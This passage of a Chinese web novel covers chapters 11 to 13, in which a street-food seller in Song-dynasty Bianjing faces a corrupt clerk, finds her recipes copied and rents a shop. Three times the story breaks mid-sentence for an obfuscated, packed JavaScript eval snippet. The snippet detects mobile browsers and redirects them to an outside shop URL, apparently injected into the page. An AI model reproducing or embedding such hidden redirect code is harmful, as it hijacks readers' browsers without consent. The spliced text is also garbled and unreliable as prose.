就在几人争论时，姜稚鱼视线不经意便瞥见了裴歆乐从小径走过来的身影。 此时她身边除了画眉，还有一位男子。 裴歆乐此时手持一束刚采摘下的含苞待放的荷花花束，笑容明媚地与那男子说着话，低头浅笑间葱白手指抚上被微风吹动的发丝…… 眼波流转间，不经意流露出羞涩与欢喜。 一举一动少女心思初显。 再看她身旁的那位男子—— 身姿挺拔，面容清俊带着疏离。 "！" 不正是今日那位将他拒之门外的邻居！ 那人并没有走近前来打招呼或者加入他们，只是目送裴歆乐过来这边便转身离开，背影很快消失在郁郁葱葱的柳荫后。 姜稚鱼随后转头看向裴律，观他面色，这位对自家妹妹的心思还一无所觉。 ＊ 次日，天气晴好。 姜稚鱼到达摊位便摆出提前写好的小木牌，上面用清秀的字迹写着新品推出，往下依次写着"茶乳酪"、"杏仁茶乳酪"、"肉桂丁香茶乳酪"以及各自的价格。 小木牌一亮相便有熟客询问了，"姜娘子这是有新饮子售卖了？" "是呀！" 姜稚鱼语笑晏晏，声音清亮，"这天儿越来越热了，新做的冰镇茶乳酪，各位可要添一杯尝尝鲜？" 话一出，自是勾起了食客的好奇心，既有信任她的老顾客，也有被"茶"和"乳酪"组合吸引的，纷纷尝试。 购买者品尝后，姜稚鱼还会问问食客觉着口味如何。 反馈却是出乎意料地好： "口感细腻丝滑。" "茶香和乳酪的融合甚妙，香甜可口却不腻人。" "想不到茶还能与乳酪制作出如此滋味！" "里面的小丸子也软糯弹牙，有嚼头！" "……"< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092723|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赞誉之声不绝于耳，姜稚鱼脸上笑容越发灿烂。 今日准备的奶茶数量并不少，却是售卖得相当快，不到半个时辰便售罄。 姜稚鱼决定做这奶茶的一个原因也是因着宋朝饮茶之风极盛，据说上至皇帝下至乞丐都好饮茶，既有顶级奢靡的茶饼，亦有普通人家必备的茶叶。 王安石也曾说茶叶在民用之中，和米盐一样，不可或缺。 亦有《梦粱录》记载："盖人家每日不可缺者，柴米油盐酱醋茶。"后演变为耳熟能详的一句俗语，"早晨起来七件事，柴米油盐酱醋茶。" 茶与材米油盐相提，足以证明此时人们对茶叶的喜爱程度。 而乳酪在此时也已然成为全民喜爱的日常美食，甚至于民间送礼也常选择送乳酪。 可见乳酪也很受其喜爱。 有着茶香味，又有浓郁的乳酪奶香，又正值冰镇饮子最畅销的夏日，多重因素叠加，售卖情况出奇的好。 因着奶茶售卖异常顺利，姜稚鱼收摊的时候都哼着歌心里都美滋滋的，盘算着后面得多多备些茶乳酪！ 接下来茶乳酪持续热卖，听着铜钱撞击的清脆声响，明显增多的收益，不由暗爽。 可谓掂量青蚨，眉目生春，大概正是形容她此时的模样。 然而，老话说得好，人不能太过得意忘形，容易乐极生悲。 这不，还没两日呢，姜稚鱼照常来到摊位，又见着了上回那几位胥史！ "姜娘子，别来无恙啊？" 王押司嘴里说着问好的话，神色却不像那么回事。 姜稚鱼放下手中物件，"不知王押司有何贵干？" 这回姜稚鱼可不怕，她挺直腰杆，这回她可是已经交了侵街钱的！ "今日嘛，是例行公事查检饮食卫生的。" 说罢，他踱步绕着小摊观看一番，出言，"姜娘子，我看你这卫生不到位呀。" 说到这姜稚鱼不服了，"如何不到位了，还请王押司点明？在此事上，我敢言我已竭尽所能。" 王押司又绕着小摊走了一圈，翻翻这个，翻翻那个，最后才端起一盘盛着鸡肉的瓷盘，深深嗅了嗅，"你这鸡肉，腥气萦绕，定是变质之肉！如何能让人食得？" 姜稚鱼一听觉得荒谬："王押司可是说笑？每日的鸡肉可都是我当天采买的新鲜活鸡现杀现做的，腌制好也是皆以冰镇保鲜，如何会坏？" 姜稚鱼笃定，"要说真有腥气也只能是鸡肉本身正常的肉腥气。" 说着端过盛着鸡肉的瓷盘就要走向围观群众，朗声道："大家伙儿也可瞧瞧，做个见证，看看我这肉到底可有异味，是否新鲜？" 却不等她走近群众，手里瓷盘便被一道力道啪一声打掉，随后是王押司幽幽的语气，"本司说有，它自然是有。" "你！……" 姜稚鱼气结。 王押司："还有，我刚看见虫蝇附之其上，定是不干不净吸引蚊虫又防护不到位，你这摊位根本就是藏污纳垢之处！" 姜稚鱼忍不住了， "分明就没有！你这是污蔑！" 她看得分明，哪有虫蝇！而且她平时食材不用时皆有严密遮盖！ 欲加之罪，何患无辞。 姜稚鱼看出来了，这几位胥史就是来找她茬的。 11. 又来 "姜娘子自然是不肯承认的了。" "但本司的眼睛可是看得分明，"王押司有恃无恐，说着就要让人没收摊具， "经检查此摊卫生不洁，食材存疑，没收摊具，小惩以戒，往后也不得再于此地经营。" 话落他后面几位胥史就要上前来。 姜稚鱼：又来这招？！ 上次说她没交侵街钱还尚有理由，这次却是无中生有的污蔑，她不服，堵着一口气正要上前再争论一番。 怎么也不能让这口黑锅给扣下来！ “且慢。” 却听一道声音从身后传来。 姜稚鱼闻声回头，来人一身月白襕衫纤尘不染，手握一柄素面折扇，步履从容—— 竟是裴律。 他缓步径直上前，目光扫过地上的一片狼藉，出声， "王押司方才说，这鸡肉有何不妥？" 胥史见来人衣着不凡，下意识答道："肉中见蝇，且闻之有异味，肉有变质，我等是依律查办。" "哦？" 裴律微微颔首。 说话间裴律已然走到摊位前，见摊位上还尚有几盘鸡肉摆放着，随手端起离自己最近的一盘。 走出阴影遮挡处，来到阳光和众人目光之下。 "方才我远远观看一番，这肉是否变质似乎只得王押司一人见证对吧？这恐怕难以服众。" 他继而转向围观群众，声音清晰，"依裴某看，事关众人饮食安危，最好还是让大家伙儿都来一起看看，做个见证，才能助王押司令众人心服口服啊……" 王押司见状，眼中厉色一闪，伸手又要故技重施打翻瓷盘，却被裴律一个闪身躲过，他脸上显出恰到好处的疑惑道："王押司这是做甚？" 顿了顿，他似是恍然："哦！王押司可是想亲自拿着这‘证物’给众人展示，以证清白么？" "裴某这拿着也不费事儿，别客气，就为王押司代劳了。" 他言辞客气，动作却毫不相让。 "来来，各位都看看，这肉可否变质？" 围观众人里不乏有胆大的，闻言试着凑上来，仔细嗅了嗅， "这……似乎没闻出来什么异味啊！" "我看看！" 有人带头，随即又有几人上前观看嚊闻一番，得出的结论皆是一样。 "当真没有异味！" "对啊，王押司是不是弄错了！" 王押司黑了脸色，愤然，"那方才我亲眼见到盘中有虫蝇！" 裴律："王押司方才才说这肉有异味，可经众人见证却并非如此。" 他用折扇点点那剩下的几盘有纱布盖子遮护的鸡肉，再带过地上狼藉，意思明显，"那么，王押司所说见到虫蝇，可有证据？不然恕裴某直言，你方才所言很难让人信服啊。" 环顾四周摊贩，他遥遥一指不远处的炙鱼摊， "就那摊位下待处理的鱼，眼目浑浊，鳞片脱落，腥气远播且虫蝇环绕，你既负责洁治，为何视而不见，却独独盯着这打理得整洁干净，食材新鲜的炸鸡摊呢？" "这执法标准，似乎有些因人而异？" 被当众点明，胥史脸上有些挂不住，嘴唇嚅嗫试图反击。 裴律却没等他出声，继而提起了另一件事来，"还有，若没记错，之前王押司已经驱赶过一次这位姜娘子对吧？" 王押司："那是她拒缴侵街钱！按律……" 裴律提高了声音："按律如何？" 他慢悠悠道来，"据我所知，这姜娘子并非是拒不缴纳，只是恳请宽限两日是否？" "既然王押司提到律法，那么，"裴律稍一停顿，"我没记错的话，直至年初时便已颁布了条律，除去确属蛮横拒不配合的，对于经核实生计确有困难，一时尚不足以缴纳费用的小摊，是允许适当放松宽限时日的。" "最重要的是，明令禁止损坏摊贩的物品财产，不得暴力执法。" "王押司，我说的可对？" 他稍稍倾身，压低声音，"还有，关于利用职务之便私下收取百姓‘利好钱’，也是明令禁止的。" 观这王押司的作风，私下收取的好处可不少。 "以上若违反，轻则杖责罚俸，重则革职查办，王押司身在其位，掌管一方街面，最是清楚吧？" 当今可是很注重民生生计问题的。 关于律法或许有平民百姓不懂，仗着职务之便有恃无恐欺压或是捞好处的可多了。 "你……" 王押司还待说些什么。 身后有年轻胥史上前来，低声耳语几句，不知说了什么，王押司最后看了眼两人，转身急急走了。 "……多谢裴郎君。" 待那几位胥史走了，姜稚鱼对着裴律道谢。 她没想到以这人对市井小摊的嫌恶，却会出言相助。 裴律用素白帕子仔细擦着手，微抬着下巴回答，"举手之劳而已。" 说完转身要走，却被姜稚鱼叫住。 "今日得裴郎君相助，不胜感激……" 姜稚鱼觑着他的神色，"我……请你吃炸鸡，聊表谢意？" 她如今能拿出手的也就是吃食了…… 不然嘞，拿出三瓜两枣的钱财答谢么？对方也看不上啊。 裴律脚步稍顿，"不必了。" "诶？等等！" 姜稚鱼快步绕到他身前，拦住去路。 她抿抿唇，"今日得你出言相助……如若不做点什么以表谢意，我心里总归不自在……" 又转眼一想，"你自己不吃这些是不是？" "那你家人呢？令尊令堂？或者……" 提及此她想到什么抚掌一拍，"歆乐总可以吃吧！" 她说着不等裴律再开口，就开始动手炸制，"你带回去他们吃不就好了！好不好？" 裴律到底没再说什么。 立在一旁等待。 好在没一会儿便出锅了，姜稚鱼熟练地将炸好的冒着热气的酥脆鸡柳，肥嫩鸡腿，焦香鸡翅，厚实鸡排……依次装进油纸袋里，再带上几杯最近新出的茶乳酪。 裴律接过的手几不可察稍顿。 接着，就这样带着它们回到了马车上。 马车有规律地行驶在街道上…… 途中裴律目光不经意瞥见一旁的油纸袋，竟不由想起之前歆乐的"答谢礼"。 两相对比。 怎么，不一样呢…… 旋即又摇摇头，移开目光。 他想这些做什么。 ＊ 次日，姜稚鱼照常在摊位忙碌。 茶乳酪依旧受欢迎。 起先一直在自己摊位忙碌着，直到快收摊时，人渐少，却见所在街道左边的拐角处，有几人拿着炸鸡边走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092724|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边吃，谈笑间在她面前路过。 但观这几位来处，手中炸鸡显然不是在她这里购买的。 待姜稚鱼收拾完，便朝几人来的方向走去，一探究竟。 经过街头拐角，直走不到一里路，便见有一家小酒肆，正有几位食客手里拿着炸鸡出店门。 再看这家小酒肆，门口悬挂全新彩旗，其上不仅写着店名"曹家酒肆"，还写着"香酥炸鸡，新品上市"。 店门口伙计正吆喝着，"客官请近，新上品的香酥炸鸡，外酥里嫩！还有清凉解暑的茶乳饮子，快来尝尝鲜嘞！" 这伙计模样瞧着有点眼熟，姜稚鱼搜刮一下记忆，这不是之前说要买她炸鸡方子的伙计吗？ 不过她没卖。 那么—— 这炸鸡和茶乳饮子…… 她朝店内一张望，没想却是见着另一道熟悉的身影—— 一位妇人正从后厨端着盘子出来熟门熟路地给食客们上菜。 姜稚鱼眯眼。 这吴姐来时说家里困难得很，前两日突然说小孩病了，她得照顾，姜稚鱼起先以为是告假，她还对她说可以待小孩病好了再去她那呢，谁想吴姐却是执意辞工。 这吴姐是孩子病好了才来这的么？ 还是…… 一旁有个卖素签沙糖的小摊，见着摊前有位小娘子便招呼， "清甜的素签沙糖，小娘子来一根尝尝吗？" 姜稚鱼闻声转头，望见造型别致、色泽纯净的素签沙糖，掏钱买了两根。 摊主见她眼神不时瞥着斜对面那曹家酒肆，这会儿子摊位又没什么人，就随意与姜稚鱼寒暄，"小娘子也对这曹家酒肆好奇？" 姜稚鱼顺势问道，"这店家生意看着不错？" "嘿，说起这个……"摊主是个健谈的，手里一边整理着竹签一边道，"这曹家酒肆刚开业那几个月，生意还确实红火，后来啊没过几月呢，就听路人说口味变了，从此生意那是一天比一天惨淡。" "前不久眼瞅着都没什么食客，都快撑不下去要闭店的样子了，"他朝那边努努嘴，"谁成想这又新推出这所谓的炸鸡，还有那什么茶乳饮子的，瞧着倒是又有回暖的迹象了。" 说着还感叹，"也是跌宕起伏了。" 姜稚鱼附和，"是么？" 摊主："可不是？" 他伸手一指，"里面那招呼客人的妇人见着么？"姜稚鱼顺着望去，这指的不正是吴姐么？ "听说那妇人还是这家店主的什么亲戚，原先就在这儿帮工呢，结果后来生意不行了，有好长段时间没见着人，怕是都辞了。" "这不，如今忙起来又回来帮工了。" "都是亲戚，也是帮衬。" 姜稚鱼："……" "这不姜娘子么？" 姜稚鱼刚听完摊主唠嗑，便听到似乎有人唤她。 是常在她那光顾的食客，那熟客买了串素签沙糖，在一旁熟稔地和她搭话，"姜娘子收摊了？" 姜稚鱼笑回，"是呢，今日收得早。" 这食客买完素签沙糖，付钱转身，一眼也见着对面那显眼的，写着明晃晃“炸鸡”的彩旗，以及路过的手里正拿着炸鸡的食客。 他看看那边，又看看姜稚鱼，惊讶问道： "姜娘子，这，你可是收徒了？" 姜稚鱼皮笑肉不笑答："不曾呢。" 12. 店面 近两日姜稚鱼除去出摊，其余空闲时间都在忙着走街串巷地寻找店铺。 回想那日在曹家酒肆，在她即将转身离开之际，见着的一道眼熟的身着皂袍的身影。 姜稚鱼定睛一看，居然是王押司。 那王押司在店里熟门熟路的，还与其店主攀臂笑谈，显然与其熟稔非常，很有些交情匪浅的样子。 见此姜稚鱼内心惊讶。 不过也就一瞬。 也难怪这王押司一再刁难驱赶于她。 这次的刁难过去了，或许还有下次。姜稚鱼当即便决定得尽早寻个铺面了。 三日后的傍晚，它游走到保康门街，见着一间卖汤饼的店面，门外贴着一小张红纸，凑近一看，上面用潦草的字迹写着"此屋招赁"。 店主是个中年模样的汉子，店内食客寥寥无几，店主也显得有些无精打采。 姜稚鱼环顾街面大致看了看情况，才缓步进入汤饼店，她并未立即询问租赁相关之事，而是对着店主道："店家，来一碗梅花汤饼"。 很快，店主便端上了梅花汤饼，那店主将盛着汤饼的粗陶大碗一放，什么也没说便去了旁桌，因着食客少，没什么事竟就在旁边打起盹来。 再一看碗里的梅花汤饼，形状不规整，厚薄不均，毫无梅花神韵，再吃进口中一尝，汤汁寡淡无味。 要知道这梅花汤饼应是形如其名，片片自当精致如梅绽放，再入清鸡汤微沸，汤底讲究一个鲜字，正是"观之如疏影横斜，食之含汤清面润"。 很显然，面前这一碗梅花汤饼既无其形、也无其味。 本想凭着不浪费粮食的美好品质，再怎么着也得吃完吧，且这毕竟也是她付了银钱买来的呢。 谁想，努力了再努力，还是剩下半碗再难以吃下了。 姜稚鱼索性搁下筷子。 转身面向那店主，店主还在闭目打着盹，姜稚鱼提高声音唤道："店家？" "小娘子吃好了吗？" 那店家听着声响，眼一睁，便道来价格，"二十文钱。" 姜稚鱼没说什么掏钱付了汤饼的钱，接着才开口询问，"方才我见店门贴着招赁的贴子，店家这铺面，可是要租赁吗？" 店家这才正眼打量她一眼，"正是，小娘子要租赁铺子？" 姜稚鱼颔首："是有此打算，您可是这铺子的主家吗？" "我不是。" 店主摇头，"我是租客。" 姜稚鱼："那可烦请您告知主家一声，有客欲商谈租赁之事吗？" 还以为主家不在，得后面再约商谈时间，不想却听店家立马就道："你稍等，店主家就住附近不远，我这就找主家过来。" 店家与姜稚鱼说完，还与隔壁店交待一声帮他看着点店。 姜稚鱼眼见着店主说完便快步出店门去了，很快身影消失在街角，谈起要租赁店铺的事这店主动作倒挺快。 在等待的期间姜稚鱼也没闲着，仔细打量了一下店内环境：铺面进深尚可，摆上六张桌子绰绰有余，只是有些杂乱油腻，只空间来看没什么大的硬伤，只是需要修整打扫一番。 接着站在在店门口张望，周边既有食肆茶肆，也有绸布庄，医馆，杂货铺…… 没一刻钟，就见店主带着一位五十岁左右的微胖男子来了，对方见着姜稚鱼便挂上生意人贯有的圆润笑容，目光已然迅速将姜稚鱼上下打量了一遍。 "小娘子便是想赁铺面的？" 姜稚鱼含笑回答："正是。" "敝姓王，便是这间铺面的主家。" 来人自我介绍着，看一眼汤饼店主，略一沉吟，"既是商谈租赁事宜，这前头便有一家清静茶肆，小娘子可与我去那详谈？也以免打搅店主生意。" 姜稚鱼顺着主家所指，不远确有一间临街茶肆，看起来干净清雅，点头同意。 两人前往茶肆，随意挑了个位置坐下，点了两杯寻常茶水。 姜稚鱼直切主题，"王主家，不知店铺租赁价钱几何？" "每月十贯钱。" 店主家端着茶盏喝了口茶，"不是我自夸，对于保康门街整个街道来说，这铺面价钱可算实惠了！" "且这铺面地段如何，小娘子您慧眼，一看便知。" 姜稚鱼对此并不否认，颔首，"地段虽不如御街马行街那般的顶级热闹，但这里的周边人流倒也算不错。" 店主家面露得色，"小娘子明白人。" 然而，对于租金自然是得讨价还价一番的。 姜稚鱼接着话锋一转，面上带了几分沉思："不过么，方才我在等候主家时，可听说了……" "这间铺面除了现今这汤饼店生意廖落外，往前数两三家租户都是如此，生意并不好，所以，这间店可是常常便要寻新租户吧？" 就在刚刚等待店主家的间隙，便打探到了这事儿。 姜稚鱼也端起茶盏，慢条斯理喝了口茶水，缓缓道："依我看，这么几家下来，店家生意可都不好……" 顿了顿，她放下茶盏，望向店主家慢慢道，"我现不免有顾虑，怕是这店面的风水……有些关碍。" "风水"二字，在时下人们的心中份量可是极重，尤其经商之人，最忌这个。 王主家一听，面色微变，立马扬声反驳，"那是他们自己经营不善！关店面风水何事！" 姜稚鱼却一时没搭话，指尖慢慢摩沙着茶盏，一副沉思模样。 姜稚鱼："店主家，我这人吧，就是信风水这个，我还是打算再看看。" "我也不着急，慢慢找吧。" "要是没有合适的，或许我会再回头来看看。" 一般这种我再看看，多数情况就是去不复返的。 店主家见姜稚鱼就要起身要走的样子，脸上再次挂上笑开口，"小娘子找着间铺面也不容易，这般着急着走做甚？万事好商量嘛。" "这样，我看小娘子也是中意这地段的，且小娘子又是姑娘家，想必是仔细人，懂得爱护店面的，若是你看中这店面的地段，只是心里有点顾虑的话……" 顿了顿，他道："只要小娘子承诺好生爱护铺面，王某每月减去租金五百文如何？" 姜稚鱼摇头，"少五文似乎不值得我冒这么大的风险……" 她沉吟片刻，似是退步，"不过，我看店主家您也是爽快人儿，若是可以每月少一贯，我倒可以考虑先赁下来试试水。" 这卖汤饼的租户租期马上就到期了，眼看经历几家店主生意都不好，接下来再找租户可不容易，这店主家空一天可就少一天进项。 店主家盯着茶盏浮沫思索片刻，一咬牙拍板，"成交。" ＊ 签下赁契，店面便定下了。 汤饼店的租期到期时间在三日后，除此还得再预留两日整改店铺的时间。 是以，在交接到店铺前，姜稚鱼还是照常出摊。 姜稚鱼这次又新取出块小木牌，上写，"托各位洪福，已赁得铺面，乔迁在即，五日后开业，当日光顾皆有优惠。" 写好了再在木牌底下添上店面详细地址。 摆放在醒目位置。 来购买的食客一眼便能见着那告知马上要开店的小木牌。 "哟，姜小娘子要开店了？" 姜稚鱼笑回："是嘞！多谢大家帮衬，托各位洪福，五日后就有小铺面了。开业第一天光顾都有优惠！" 有人问，"也是卖炸鸡和这饮子么？" 姜稚鱼答："自然是卖的。" "还会添其它更多的菜品。" "那好，那保康门街也不远，不过一刻钟路程，姜娘子这儿的吃食味道这样好，到时一定光顾的！" 还有不少食客恭喜，"这是大好事，先祝姜娘子开业大吉了。" "也是，还是有店面好，不用风吹日晒雨淋什么的，也不用每天带着那么多家伙什来回奔波。" …… "姜姐姐，你要开店啦？！" 听着熟悉的声音，忙碌的姜稚鱼抬头，正是裴歆乐在摊位前，一脸惊喜地看着她。 "对呀！"姜稚鱼笑着点头。 "真好，姜姐姐真厉害，这么短时间就能开店了！" 裴歆乐由衷赞叹。 "姜姐姐开店了生意一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092725|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更红火，日进斗金！" 姜稚鱼莞尔，"谢谢歆乐。" 也是这时姜稚鱼才注意到，歆乐身边还伴有一人，却不是画眉。 而是，她之前见过的那位邻居。 "姜姐姐，最近新出的饮子还有么？" 她伸着脖子张望，"兄长上次带回的饮子便是在姜姐姐这里买的么？可好喝了！" 姜稚鱼："有呀，今日备了不少呢，歆乐要哪一种口味呢？" 裴歆乐点了一杯肉桂丁香的，一杯杏仁的，再熟练点了几样炸鸡。 待她要掏钱时，却从旁边伸过来一只骨节分明的手，轻轻在案上放下铜钱。 姜稚鱼挑眉，看了看那沉默在旁的男子，又看看裴歆乐。 裴歆乐见状，立时蹙眉出声，"楚渊！谁让你付钱了！" "是我自己要买的，我有钱，我自己付！" 说着她就要把那案上的铜钱拿回，换成自己的银钱。 不想旁边人的动作比她快一步，手再次触上那案上铜钱，却是更往前推了推。 手指不经意间擦过裴歆乐伸出的指尖。 他唇边抿出浅浅弧度，似疑惑询问，"这不是两杯饮子么？" "难道，其中没有我的一份么？" 他顿了顿，似无奈的柔声道： "我知你心中所想。" "放心吧，这点买吃食的钱我还是有的。" 裴歆乐认识楚渊这么些时间，自是清楚楚渊的情况的，与他一块时，是很少买什么东西的。 不过她想想，姜姐姐这儿的吃食确实挺便宜的，于楚渊来说应该也算不上负担？ 她犹豫一瞬，便收了手。 姜稚鱼将一切尽收眼底，笑眯眯收下铜钱。 待炸鸡炸制好了，裴歆乐接过装好的炸鸡与茶乳酪，笑容灿烂地与姜稚鱼挥手，"姜姐姐我们先走了，等你开店了，我一定来给你捧场呀！" "好，谢谢歆乐。" 姜稚鱼含笑目送两人离去。 她这位叫楚渊的邻居在歆乐面前，不似与旁人那般冷硬嘛…… 再看两人离去的背影，裴歆乐脚步轻快，走在前面，时不时侧头与楚渊说笑。 看样子，虽一路大多都是歆乐兴致勃勃说个不停，楚渊稍稍落后半步，偶尔点头或简短回应，目光却总是落在她身上的。 一位活泼俏丽，一位寡言清俊，一动一静，性格迥异。 倒是……互补。 姜稚鱼收摊回家时，不想却在自家门口见着道挺立清瘦身影。 楚渊。 姜稚鱼心里纳闷，这人在他门口干嘛呢？ 找苏大娘或者是赵蓉么？ 正疑惑，那楚渊已见着她了，率先向她打点头打招呼，"姜娘子。" 姜稚鱼内心诧异，上次那般冷硬地将她拒之门外，今儿居然主动与她打招呼了？ 既然对面与她打了招呼，姜稚鱼脸上便挂上丝笑，"楚郎君？" "你可是找苏大娘她们的？" 楚渊摇了摇头，抿唇， "不是，在下……是找姜娘子你的。" 说完，他辑手一礼，"上次，姜娘子好心相赠饮子，我却……无礼了。" "今日特来，向姜娘子致歉。" 姜稚鱼不由挑眉。 竟是专程来道歉的。 这楚渊此举，真叫她意外。 还莫名给她一种，正值暧昧时期的男女，却得知自己得罪了对方的朋友，尽早赶来道歉，期望自己不要在其面前说坏话之感。 在得到姜稚鱼并没有挂怀的回复，楚渊似是松了一口气，才往自己的住处走去。 待到自己住所的房门前，却见着一道隐在阴影处的身影。 那人听见脚步声，缓缓转过头来。 看清来人的瞬间，内心刚松快些许的楚渊全身都僵硬了。 明明正值酷暑，他却顷刻间如坠冰窟。 昏暗的灯火，照得来人脸上眼角疤痕狰狞，他直直看向楚渊，声音阴沉，拖长语调， "楚渊……" "你可真是、让我好找啊……" 13. 修整 三日后，到了交接店铺的日子。 交接手续顺利办完，姜稚鱼一早便来到桥市，在这里，有修缮房屋所需的各种竹木材料的店铺，此外还有杂货工匠，三五成群，环立集聚，等候雇用。 她想要找专业的匠人改造店面，来这里再好不过。游走一圈，带回两位瞧上去经验丰富的匠人。 回到店里，姜稚鱼也不多废话直言正事，先指向被油烟熏黑的砖灶就道："张师傅，这灶全拆，砖石全砌，做双灶。" 又在地上划出一条界线，"以此线为界，前为待客的厅堂，后为厨，中间设一门，挂帘隔味。" 走到临街那面墙，点了点那扇糊着发黄窗纸的旧木窗，"此处，改为齐胸高的敞开式大窗，窗外挂一檐蓬，窗台用厚木板伸出，可摆放食盘。" 又瞧瞧因长期烟熏火燎而颜色黯淡的墙面，"这墙嘛，也得重新刷白。" 接着她朝靠里的一面墙比划，"沿这面墙，请师傅做一条固定的长木台，设几条高脚凳。其余空间，设几张榆木小案几即可。" 店面整体色调便是木的本色，墙的雪白，与砖的青灰。 交待完毕，两位师傅也不墨迹即刻动手开始修整。 姜稚鱼琢磨着既然开店了，只她一人肯定是不够忙活的。 先前打听一番，在这里雇用人力，杂役工人，或是专业庖厨，都有被称"行老"的中间人可专门牵线搭桥，她们熟悉行情，可以介绍推荐人选。 姜稚鱼在师傅忙活的时候，走到街巷口，去找打听来的"吴大娘"。 姜稚鱼寻着地址，扣响一扇黑漆门扉。 里面很快传来一道声音，"谁呀？" 虽是问着，却不等回答，她自己紧接着就扬声道，"来了来了……" 随后，门内出来一位妇人，眼神透着精明干练，瞧上去就是办事牢靠的模样。 见着妇人，姜稚鱼开口询问，"可是吴大娘么？" "正是。" 姜稚鱼：“听说吴大娘能推荐可靠的用人，我这想找一位手脚麻利的食店帮工，做些食店里的杂活，另外，还想寻一位做得时兴菜式的庖厨，需得手艺好的。” 姜稚鱼琢磨了，自己虽在现代怎么着也算位美食博主，却是更擅长一些后世的菜式，便想着另寻一位擅做时下菜式的本地厨子，搭配着来。 砌那双灶便是有此打算。 吴大娘一听说是托她找用人的，当下笑容更甚，"自然可以。" "小娘子这事找我可算是找对人了，这汴京城哪家用了什么人，人品手艺如何，我不敢说全知道也能知晓个七八分，保准给你找着靠谱的人。" "小娘子可留下住址，我这有靠谱人选了立马前来告知给您。" 姜稚鱼便报上姓名以及详细住址，交待完一些自己对用人的要求以及工钱范围等，返回店内。 回去后，姜稚鱼几乎泡在店里帮看着店内修缮，盯着修整细节确保自己设想的效果，也时不时搭把手。终是赶在第二日傍晚前完工了。 修整完店铺，自然是还有许多清理杂活要做的。这些清理活计姜稚鱼没想着找人来做，决定自己动手清理了，也正好规划各处物品的摆放。 收拾杂物，规整各类物品，擦洗桌椅灶台各个角落，别看想着没多少活，做下来可得花费不少时间精力。 姜稚鱼先将收拾出来的杂物装在一处，放在店门角落，只等清洁街道的役夫来收走。 不知不觉间时辰已到晚膳时间，肚子空荡荡的已然觉着有些饿了，姜稚鱼看了看还没收拾完的店面，即无食材也没开火，打算今晚就在附近买点吃食。 刚走到店门口，却见着有人正在翻她堆放在店门的杂物。 是个女孩儿。 姜稚鱼好心出声："这里面没什么能用的东西。" "……" 女孩儿见有人出来阻止，没说话，只是飞快地朝里面看了一眼，才转身离开了。 而姜稚鱼琢磨着吃什么也没在意，想起不远有一个炙肉炊饼小摊，路过时都能闻到诱人香气。 到达炊饼小摊，拿到热乎的炙肉炊饼。厚实的面饼外酥里软，里面夹着大块的烤得焦香的烤肉，豪放实在又香气扑鼻。 付了钱姜稚鱼便转身准备往回走。 不想一个转身，居然又见着刚刚那女孩儿，那女孩竟还在街边继续翻找着什么。 姜稚鱼多看了两眼。 下一瞬，见那女孩翻出一半个馒头。 接着，女孩儿拿着那馒头靠近嘴边，居然就要往嘴里送！ "——欸！" 姜稚鱼见到这一幕，下意识出声，扬声阻止了女孩儿的动作。 对面女孩儿像是被这突如其来的一声吓到，下意识将那捡来的馒头塞进袖中藏好，才警惕地朝声源看去。 这人不是刚刚就已经阻止了她一次的人么？ 她小声嘀咕："这又不是你店里的东西！" 又不是你店里的东西，还不让她吃了？ 姜稚鱼走近，这次仔细打量了女孩儿一眼，大概十四五岁的模样，身形有些清瘦了，身上衣服虽然有着破旧补丁，但看上去还算干净，此刻有些戒备地看着她。 姜稚鱼放柔些声音，"你……" "你翻那些东西……原来是找吃食的？" 女孩儿听见她问话没吭声，却是下意识将手伸进袖子紧紧捂住那块馒头，眼神警惕…… 姜稚鱼见此叹了口气，"别吃那个了……"多脏啊。 "呐，吃这个吧。" 姜稚鱼将手里冒着热气的炙肉炊饼递给她。 女孩见她如此内心诧异，迟疑着小心翼翼接过，却没立即吃，小声地道，"谢……谢谢……" 刚还以为，这人是看不得她在这附近翻找吃食…… 她继而抬头望向姜稚鱼，"那我能为你做什么吗？" 姜稚鱼没想到这女孩拿了她赠送的吃食，能问出这么一句。 不由让她有些触动。 沉吟片刻，她道："倒还真有，我刚盘下的小店缺帮工，需要人做些食店的杂活儿，需要做的活儿可多呢，你可行吗？" "做多久？" 做多久抵得上这一顿饭钱？ 姜稚鱼摩挲着下巴："唔……只要你能干肯学，守店里的规矩，想做多久做多久。" 想做多久做多久？ 她起先只是想报这一饭之恩而已…… 女孩瞪大眼："给饭吃吗？" 姜稚鱼莞尔，"给！管够！" 她补充，"不止如此，还给工钱。" "做！我做！" 女孩儿这次回答飞快，掷地有声的，生怕晚一秒这个机会就飞走似的。 叫女孩扔了那袖中的馒头，姜稚鱼返回方才的摊位再买了两个炊饼，领着女孩儿往店里走，边走便问女孩的情况。 